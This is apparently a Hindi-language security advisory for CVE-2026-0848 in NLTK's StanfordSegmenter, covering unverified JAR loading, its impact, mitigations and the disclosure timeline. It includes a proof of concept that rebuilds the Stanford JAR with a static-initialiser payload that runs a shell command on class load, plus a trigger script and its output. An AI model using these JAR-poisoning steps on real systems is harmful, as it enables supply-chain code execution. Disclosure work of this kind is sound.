
nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files without verification or sandboxing. If an attacker can supply or replace the JAR (e.g., a poisoned model download, MITM package swap, or dependency poisoning), arbitrary Java bytecode executes at import time.
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2026-0848 |
| पैकेज | nltk (प्राकृतिक भाषा टूलकिट) |
| रजिस्ट्री | PyPI |
| प्रभावित संस्करण | <= 3.9.2 |
| भेद्यता प्रकार | CWE-20: अनुचित इनपुट सत्यापन |
| CVSS स्कोर | 10.0 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| दायरा | परिवर्तित |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |
| रिपोर्ट किया गया | 6 दिसंबर 2025 |
| CVE प्रकाशित | मार्च 2026 |
| समर्थित द्वारा | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter subprocess के माध्यम से बाहरी Java .jar फ़ाइलों को गतिशील रूप से लोड करता है, बिना किसी अखंडता सत्यापन, हस्ताक्षर जांच, या सैंडबॉक्सिंग के। यह वर्ग पूरी तरह से हमलावर-नियंत्रित पैरामीटर जैसे path_to_jar, path_to_model, path_to_dict, और java_class स्वीकार करता है, और उन्हें सीधे java -cp आह्वान में पास करता है।
यदि कोई हमलावर JAR फ़ाइल की आपूर्ति या प्रतिस्थापन कर सकता है — जहरीले मॉडल डाउनलोड, मैन-इन-द-मिडिल पैकेज स्वैप, निर्भरता विषाक्तता, या दूषित रिलीज़ मिरर के माध्यम से — तो JVM के स्थैतिक आरंभकर्ता तंत्र के माध्यम से क्लास-लोड समय पर मनमाना Java बाइटकोड निष्पादित होता है। यह एक आपूर्ति श्रृंखला रिमोट कोड निष्पादन भेद्यता का गठन करता है और Python रनटाइम से पूरी तरह बच निकलता है।
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
सफल शोषण हमलावर को NLTK विभाजन प्रक्रिया चलाने वाले सिस्टम पर पूर्ण नियंत्रण प्रदान करता है:
Runtime.getRuntime().exec() या ProcessBuilder को आमंत्रित कर सकते हैं| परिदृश्य | प्रभाव |
|---|
यह भेद्यता StanfordSegmenter का उपयोग करने वाले किसी भी NLP वर्कफ़्लो को प्रभावित करती है, जिसमें चैटबॉट, LLM प्रीप्रोसेसिंग पाइपलाइन, डेटासेट विभाजन, दस्तावेज़ वर्गीकरण और उत्पादन अनुमान सेवाएं शामिल हैं।
यह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध परीक्षण न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
आउटपुट:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
RCE की पुष्टि करें:
ls /tmp | grep pwned_hijack
# pwned_hijack
भेद्यता दो फ़ाइलों में मौजूद है:
stanford_segmenter.py — StanfordSegmenter क्लास कंस्ट्रक्टर path_to_jar, path_to_model, path_to_dict और java_class को सादे स्ट्रिंग तर्कों के रूप में स्वीकार करता है और उन्हें निम्नलिखित में से कोई भी कार्य किए बिना सीधे Java निष्पादन स्तर पर अग्रेषित करता है:
java_class पैरामीटर का ज्ञात-सुरक्षित क्लास नामों के सेट के विरुद्ध सत्यापनinternals.py — java() सहायक उपयोगकर्ता-आपूर्ति क्लासपाथ के साथ subprocess.Popen() कॉल बनाता और लॉन्च करता है। JVM प्रदान किए गए JAR में सभी क्लासेज़ को तुरंत लोड करता है, एप्लिकेशन तर्क चलने से पहले किसी भी स्थैतिक आरंभकर्ता ब्लॉक को निष्पादित करता है। कोई सैंडबॉक्स, कोई अखंडता द्वार, और इंजेक्ट किए गए बाइटकोड के निष्पादन को रोकने का कोई तंत्र नहीं है।
भेद्यता को अपस्ट्रीम NLTK रिपॉजिटरी में पूरी तरह से हल कर दिया गया है।
| संसाधन | लिंक |
|---|---|
| केंद्रीय सुरक्षा सुधार (सभी CVE) | https://github.com/nltk/nltk/pull/3522 |
| शोधकर्ता का प्रारंभिक सुधार PR | https://github.com/nltk/nltk/pull/3477 (मर्ज किया गया) |
जैसे ही PyPI पर पैच किया गया संस्करण उपलब्ध हो, NLTK के पैच किए गए संस्करण में अपग्रेड करें।
pip के माध्यम से अपग्रेड करें:
pip install --upgrade nltk
स्थापित संस्करण सत्यापित करें:
python -c "import nltk; print(nltk.__version__)"
यह रिपॉजिटरी CVE-2026-0848 को पूरी तरह से शैक्षिक, अनुसंधान और रक्षात्मक सुरक्षा उद्देश्यों के लिए दस्तावेज़ित करता है। प्रूफ-ऑफ-कॉन्सेप्ट कोड और तकनीकी विवरण डेवलपर्स, सुरक्षा इंजीनियरों और सिस्टम प्रशासकों को इस भेद्यता को समझने, मूल्यांकन करने और ठीक करने में सहायता करने के लिए प्रदान किए गए हैं।
इस जानकारी का उपयोग स्पष्ट प्राधिकरण के बिना सिस्टम तक पहुँचने या समझौता करने के लिए करना अवैध और अनैतिक है। लेखक यहाँ निहित जानकारी के दुरुपयोग के लिए कोई देयता नहीं लेता है।
योगदानकर्ता: ketanHub
| फ़ाइल | पंक्तियाँ | विवरण |
|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | बिना किसी सत्यापन के हमलावर-नियंत्रित path_to_jar, path_to_model, path_to_dict और java_class स्वीकार करता है |
nltk/internals.py | L220–L300 | उपयोगकर्ता-नियंत्रित JAR पथ और क्लासपाथ के साथ सीधे Java निष्पादन शुरू करता है, कोई सैंडबॉक्सिंग या चेकसम सत्यापन नहीं |
nltk/internals.py | L109–L152 | subprocess.Popen() बिना सत्यापित क्लासपाथ इनपुट के Java निष्पादित करता है, जिससे JVM मनमाना बाइटकोड लोड कर सकता है और स्थैतिक आरंभकर्ता चला सकता है |
| मीट्रिक | मान |
|---|
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| दायरा | परिवर्तित |
| गोपनीयता | उच्च |
| अखंडता | उच्च |
| उपलब्धता | उच्च |
| ML शोधकर्ता इंटरनेट से एक पूर्व-प्रशिक्षित विभाजक लोड करता है | रिमोट हमलावर को कोड निष्पादन प्राप्त होता है |
| संगठन दूषित चीनी विभाजन मॉडल ZIP डाउनलोड करता है | उत्पादन NLP पाइपलाइन में मैलवेयर निष्पादित होता है |
CI/CD सर्वर गैर-HTTPS मिरर से wget/unzip के माध्यम से मॉडल स्थापित करता है | पूर्ण पर्यावरण समझौता |
| निर्भरता अधिग्रहण या जहरीला रिलीज़ मिरर | पूर्ण आपूर्ति श्रृंखला RCE |
| कार्रवाई | विवरण |
|---|
| NLTK अपग्रेड करें | PR #3522 से सुधार वाले 3.9.2 से बड़े संस्करण में अपडेट करें |
| उपयोगकर्ता-नियंत्रित JAR पथ का उपयोग न करें | कभी भी उपयोगकर्ता इनपुट को path_to_jar, path_to_model, या java_class तर्कों को प्रभावित करने की अनुमति न दें |
| JAR अखंडता सत्यापित करें | उपयोग से पहले डाउनलोड की गई JAR फ़ाइलों के SHA-256 चेकसम को हमेशा आधिकारिक प्रकाशित हैश के विरुद्ध सत्यापित करें |
| केवल HTTPS स्रोतों का उपयोग करें | मॉडल फ़ाइलें और JAR केवल आधिकारिक HTTPS स्रोतों से डाउनलोड करें; किसी भी HTTP या असत्यापित मिरर को अस्वीकार करें |
| न्यूनतम विशेषाधिकार | NLTK-आधारित सेवाओं को न्यूनतम फ़ाइल सिस्टम और नेटवर्क अनुमतियों वाले प्रतिबंधित OS उपयोगकर्ता के तहत चलाएं |
| कंटेनरीकरण | JAR-आधारित शोषणों के विस्फोट दायरे को सीमित करने के लिए NLP सेवाओं को Docker कंटेनरों या समान सैंडबॉक्स में अलग करें |
| निर्भरता निगरानी | CI/CD पाइपलाइनों में छेड़छाड़ या प्रतिस्थापित JAR निर्भरताओं का पता लगाने के लिए सॉफ़्टवेयर संरचना विश्लेषण उपकरण का उपयोग करें |
| तिथि | घटना |
|---|
| 6 दिसंबर 2025 | शोधकर्ता hyperps1 (Sarvesh Patil) द्वारा huntr.dev को भेद्यता की रिपोर्ट |
| दिसंबर 2025 | huntr.dev के माध्यम से NLTK मेंटेनर टीम को सूचित किया गया |
| जनवरी 2026 | NLTK मेंटेनर ने भेद्यता को मान्य किया; प्रकटीकरण पुरस्कार प्रदान किया गया |
| जनवरी 2026 | CVE-2026-0848 आवंटित किया गया |
| जनवरी 2026 | शोधकर्ता का सुधार PR #3477 प्रस्तुत और मर्ज किया गया |
| फरवरी 2026 | NLTK मेंटेनरों को 48-घंटे का प्रकाशन-पूर्व चेतावनी भेजी गई |
| मार्च 2026 | CVE NVD और huntr.dev पर प्रकाशित हुआ |
| मार्च 2026 | PR #3522 के माध्यम से सभी CVE के लिए केंद्रीय सुरक्षा सुधार मर्ज किया गया |
| संसाधन | लिंक |
|---|
| NVD प्रविष्टि | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| आधिकारिक CVE रिकॉर्ड | https://cve.org/CVERecord?id=CVE-2026-0848 |
| huntr.dev रिपोर्ट | https://huntr.dev |
| केंद्रीय सुधार PR | https://github.com/nltk/nltk/pull/3522 |
| शोधकर्ता सुधार PR | https://github.com/nltk/nltk/pull/3477 |
| PyPI पर NLTK | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — मनमाना कोड निष्पादन | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — अविश्वसनीय खोज पथ | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: अनुचित इनपुट सत्यापन | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: अविश्वसनीय डेटा का डीसेरियलाइज़ेशन | https://cwe.mitre.org/data/definitions/502.html |